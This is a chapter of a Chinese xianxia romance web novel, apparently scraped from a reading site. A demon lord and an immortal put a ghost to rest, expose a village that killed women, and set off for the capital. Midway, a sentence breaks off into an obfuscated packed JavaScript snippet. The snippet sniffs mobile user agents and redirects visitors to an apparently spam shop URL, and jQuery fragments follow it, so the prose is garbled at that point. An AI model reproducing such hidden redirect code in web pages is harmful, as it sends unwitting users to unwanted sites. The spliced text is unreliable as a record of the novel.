默认冷灰
24号文字
方正启体

32. 032

作者:么么么酱本书字数:K更新时间:
    祠堂内,黑水凝结成冰,冰层之下,女鬼王凤琴的怨气被冻结成狰狞的雕塑。


    她的左眼恢复了片刻清明,血泪顺着腐烂的脸颊滑落,滴在冰面上,竟凝成一颗暗红色的泪珠,宛如血珀。


    勐仑抬手,袖中飞出一只青玉葫芦,葫芦口泛起幽光,将那滴血泪吸入其中。


    “七情之泪,仇恨为最。”她低声道,“入我聚泪葫,洗你千年怨。”


    冰层“咔嚓”裂开,女鬼的身形渐渐虚化,黑水退去,露出她生前的模样。


    一个眉眼温婉的女子,穿着褪色的嫁衣,手腕上还系着一条红绳,绳上挂着半枚铜钱。


    “阿香……”她轻声唤道,声音不再凄厉,反而带着一丝解脱的柔软。


    小女孩挣脱老妇人的怀抱,扑到冰层前,小手贴在冰上:“姑妈!”


    女鬼微微一笑,身形如烟,渐渐消散。祠堂内的阴冷之气随之退去,冰层融化,黑水渗入地下,再无痕迹。


    云岫收剑,转头看向勐仑,发现她脸色苍白,指尖微微发颤。


    “尊上,你怎么了?”青色灵力探入,他大惊:“你用了本源之力?”他低声问。


    勐仑没有回答,只是将聚泪葫收回袖中,淡淡道:“走吧,这里的事结束了。”


    刚出祠堂大门,勐仑晕倒在了云岫怀里。当那好闻的气息传来,勐仑后知后觉,小仙君刚刚的模样真俊啊,连生气起来都这么好看。


    翌日,官府的人马涌入王家村。


    假和尚的尸体被捞起,胸口画着的假佛印暴露了他的骗子身份。


    村长和几个青壮年被锁链捆缚,押上囚车。祠堂的牌位被推倒,露出下面埋着的女子尸骨。


    全是这些年被“浸猪笼”的寡妇和少女。


    村口那面“贞节流芳”的牌坊被衙役推倒,砸在地上,碎成数块。围观的村民沉默不语,有的甚至偷偷抹泪。


    “从今往后,王家村再敢私刑处死女子,一律按谋杀论处!”为首的官差厉声喝道。


    阿香被老妇人牵着,站在人群边缘。


    王家祠堂被推倒,一片废墟中长出了一朵粉色的小花,在风中,微微摇曳。


    勐仑和云岫站在远处的山坡上,静静看着这一切。


    “尊上,你救了她,还用了本源之力送她入轮回。”云岫道。


    勐仑淡淡道:“我只是不想让她的恨意浪费。左右都是要她的眼泪,做个顺水人情罢了。”


    云岫侧目看她:“尊上,龟爻让我们收集七情之泪,到底要做什么?”


    勐仑沉默片刻,才道:“等集齐了,你就知道了。”


    她的语气平静,但云岫敏锐地察觉到她指尖的颤抖,那是强行催动魔尊之力后的反噬。


    青色灵力入体,大大缓解了她的不适。勐仑回头,看到云岫痛苦的眼神:“您总是这样,让我担心。”


    当夜,两人在村外破庙休憩。


    勐仑盘坐在火堆旁,闭目调息。她的脸色比平日更加苍白,额角渗出细密的冷汗。


    云岫递过水囊,她接过时,手指竟无力握紧,水囊差点滑落。


    云岫皱眉,一把扣住她的手腕:“尊上,算我求您,不要再动用灵力。”


    勐仑抽回手,冷冷道:“与你无关。”


    “你用了魔尊之力,天道反噬,你现在和凡人无异。”


    云岫盯着她,“为什么总是要逞强?为什么不愿意相信我?我对于你来说,就这么不值得信任吗?”


    勐仑嗤笑一声:“怎么,小仙君现在开始关心我了?别忘了,我是魔,你是仙,你我血脉相克,我们生来就是敌人。”


    云岫不答,只是从怀中取出一枚丹药,递给她:“固本培元,能缓解反噬。”


    勐仑盯着丹药,没有接。


    “怕我下毒?”云岫挑眉。


    “我只是不喜欢欠人情。”她最终还是接过,吞了下去。


    药力化开,她的气息稍稍平稳,但灵力依旧枯竭。“你在里面又加了你的血?”


    “你恨男人?”云岫不答反问。


    勐仑眸光一冷:“与你何干?”


    “你刚才看那些村民的眼神,像在看死人。”


    云岫淡淡道,“尤其是对村长和那几个青壮年。我记得你杀上玄天宗的时候,杀男修如同砍瓜切菜一般,女修倒是基本放过。”


    勐仑沉默良久,终于冷笑一声:“我父亲是魔尊,我母亲是魅魔。”


    云岫一怔。


    “魅魔天生媚骨,却无自保之力。生来只能依附男人生存。”


    勐仑的声音冰冷,“我母亲被他强行占有,生下我后,连看我一眼的资格都没有,就被他囚禁在魔宫深处。”


    她的指尖深深掐入掌心:“他恨我和妹妹是女子,不允许我们练习魔功。可惜我生来就是灵胎,魔族传承的血脉注定了,我会杀了他取而代之。


    他害怕极了,疯狂的用魔功攻击我,杀我。可惜啊,最后还是我活下来了。


    我恨他,也恨这世道有权有势的男人,总能肆意践踏弱者。”


    云岫静静听着,没有打断。


    “所以我修魔道,比一般的魔更努力,我就是要炼七情之泪,就是要让这世上的恨,有个归处。”


    勐仑抬眸,眼中闪过一丝戾气,“我不止一次的想,若有一日我足够强,定要掀了这天道,让那些高高在上的人,也尝尝被碾碎的滋味。”


    火堆噼啪作响,映照着她的侧脸,明明灭灭。


    云岫忽然伸手,轻轻按在她的手背上。


    “尊上,你现在的样子,像个凡人。”他耳尖发红,嘴上却淡淡道,“我觉得你当魔尊,比男人做魔尊顺眼多了。”


    勐仑一愣,随即冷笑:“小仙君是在安慰我?”


    “不。”云岫收回手,“我只是觉得,你现在这样,至少真实。我感觉,离你更近了一些。”


    勐仑盯着他,忽然笑了:“云岫,你真奇怪。”


    魔尊的情/欲来的莫名其妙,她压住他的身子,在他诧异的眼神中,吻了上去。


    翌日清晨,两人正准备离开,瞎眼道士却追了上来。


    “两位留步!”他拄着竹杖,步履蹒跚,却精准地拦在两人面前。


    云岫按剑,将勐仑护在身后,警惕道:“道长有何指教?”


    道士嘿嘿一笑,独眼里闪过一丝精光:“两位身份不凡,老道虽眼瞎,心却不瞎。”


    勐仑冷冷道:“道士,你想说什么?”


    “老道只是传个信。”


    道士从怀中掏出一张烫金帖子,“京城里出了件怪事,最受宠的贵妃娘娘夜夜梦魇,梦见自己化蝶而飞,醒来后身上竟真有蝶翼纹路。


    皇上广招能人异士,两位若有兴趣,不妨去看看。”


    云岫和勐仑对视一眼,勐仑腕间的指印石忽然亮起微光,指向北方,正是京城的方向。


    “有意思。”勐仑接过帖子,唇角微勾,“看来我们的下一站,是皇宫了。”


    道士意味深长地笑了笑,转身离去,背影渐渐消失在晨雾中。


    云岫看向勐仑:“尊上,你灵力未复,现在去京城,太危险。”


    勐仑把玩着帖子,淡淡道:“怎么,小仙君要丢下我?”


    云岫沉默片刻,道:“我会护你周全。”


    勐仑笑了:“那就走吧。”


    她转身迈步,衣袂翻飞,背影纤瘦却倔强。云岫看着她的身影,眸色微深,随即跟上。


    晨光洒落,两人的影子在地上交织,渐渐拉长,直至消失在官道尽头。


    京城的繁华,是扑面而来的喧嚣。


    勐仑和云岫踏入城门时,正值晌午。


    朱雀大街上人流如织,商贩的吆喝声此起彼伏,绸缎庄的彩幡在风中翻飞,酒楼里飘出蒸笼的香气,混着糖葫芦的甜腻,熏得人头晕。


    “让开!让开!”一队披甲侍卫策马而过,马蹄踏在青石板上,溅起细碎的水花。


    昨夜刚下过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241646|197763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雨,街角还积着浅浅的水洼,倒映着飞檐翘角的楼阁。


    勐仑微微蹙眉,侧身避开泥点,袖中的聚泪葫轻轻晃动,似在感应什么。


    云岫走在她身侧,手按剑柄,目光扫过街巷,警惕而沉静。


    街边,一个算命瞎子摇着铜铃,嘶哑着嗓子喊:“测字看相,断吉凶祸福!”


    他的摊前摆着一只破碗,碗底沉着几枚铜钱,旁边歪歪斜斜写着【铁口直断】四个字。


    勐仑瞥了一眼,冷笑:“江湖骗子。”


    那瞎子耳朵却灵,猛地抬头,浑浊的眼珠“盯”向她:“姑娘命格奇特,似人非人,似魔非魔,怕是活不过明年立冬!”


    云岫眼神一冷,剑鞘微抬,“把话收回去。否则,我不介意割下你的舌头。”


    那瞎子顿时噤声,缩了缩脖子,嘟囔着“晦气”,收起摊子溜了。


    勐仑甜笑:“小仙君好帅!”


    越往皇城方向走,街上的能人异士越多。


    一个披着五彩羽衣的苗疆巫女坐在茶楼二楼,指尖缠绕着一条青蛇,蛇信子一吐一吐,她则笑吟吟地看着楼下行人,眼神妖异。


    街角,一个邋遢老道盘腿而坐,面前摊开一张破布,上面摆着几枚古铜钱和一把桃木剑。


    他闭目掐诀,口中念念有词,忽然睁眼喝道:“妖气冲天!京城要出大事!”路人纷纷侧目,却无人当真。


    更远处,几个西域来的番僧穿着赤红袈裟,额间点着朱砂,手持转经轮,诵经声低沉悠远。


    他们身后跟着一群信徒,个个神情虔诚,仿佛真能求得佛祖庇佑。


    勐仑扫视一圈,淡淡道:“人界何时这么多乌合之众?”


    云岫却微微皱眉:“这些人里,未必没有真本事的。”


    正说着,前方突然传来一阵喧哗。


    人群围成一圈,中间空出一块地,一个白袍道士和一个黑袍术士正对峙而立。


    白袍道士手持拂尘,脚踏七星步,口中喝道:“阴阳五行,雷神助我!”拂尘一挥,一道金光如龙,直冲黑袍术士面门。


    黑袍术士阴笑一声,袖中飞出一串骷髅念珠,珠子碰撞间,黑雾弥漫,竟凝成一只鬼手,一把攥住金光,生生捏碎!


    围观百姓惊呼后退,有人吓得跌坐在地。


    “是阴癸派的妖人!”有人低呼。


    白袍道士脸色一变,咬破指尖,在掌心画下一道血符,猛地拍向地面:“雷来!”


    “轰——!”


    一道紫雷凭空劈下,黑袍术士急忙闪避,却仍被余波震得踉跄几步,黑袍焦黑一片。


    他怒极反笑:“好!好!今日便让你见识真正的阴癸大法!”


    他猛地扯开衣襟,胸口竟纹着一只狰狞鬼面,鬼面张口,吐出一缕黑烟,烟中隐约有凄厉哭嚎。


    勐仑眯起眼:“摄魂术?倒是有点意思。看来修仙界的人伸了不少手在凡俗界啊。”


    她指尖凝出一缕红色魔气,现在那魔气小的像个小火花,云岫却忽然按住她的肩膀:“尊上,不要。”


    勐仑轻哼一声,却也没动。


    就在黑袍术士即将施法时,一队金甲侍卫突然冲入人群,为首的统领厉喝:“皇城脚下,禁止私斗!违者押入大牢!”


    白袍道士和黑袍术士同时收手,各自冷哼一声,转身离去。人群唏嘘着散开,仿佛刚才的斗法只是一场闹剧。


    穿过长街,皇城的轮廓渐渐清晰。


    朱红的宫墙高耸入云,金瓦在阳光下熠熠生辉,宫门前站着两排铁甲侍卫,长枪如林,肃杀凛然。


    勐仑抬头,眯眼望向宫门:“贵妃梦蝶……我倒要看看,是什么妖物作祟。”


    云岫沉默片刻,忽然道:“尊上,你的灵力,还能撑多久?”


    勐仑冷笑:“足够我掀了这皇宫。”


    云岫看了她一眼,没再说话。


    远处,钟声悠扬,皇城的阴影投在两人身上,拉长,再拉长,直至淹没在熙攘的人潮中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)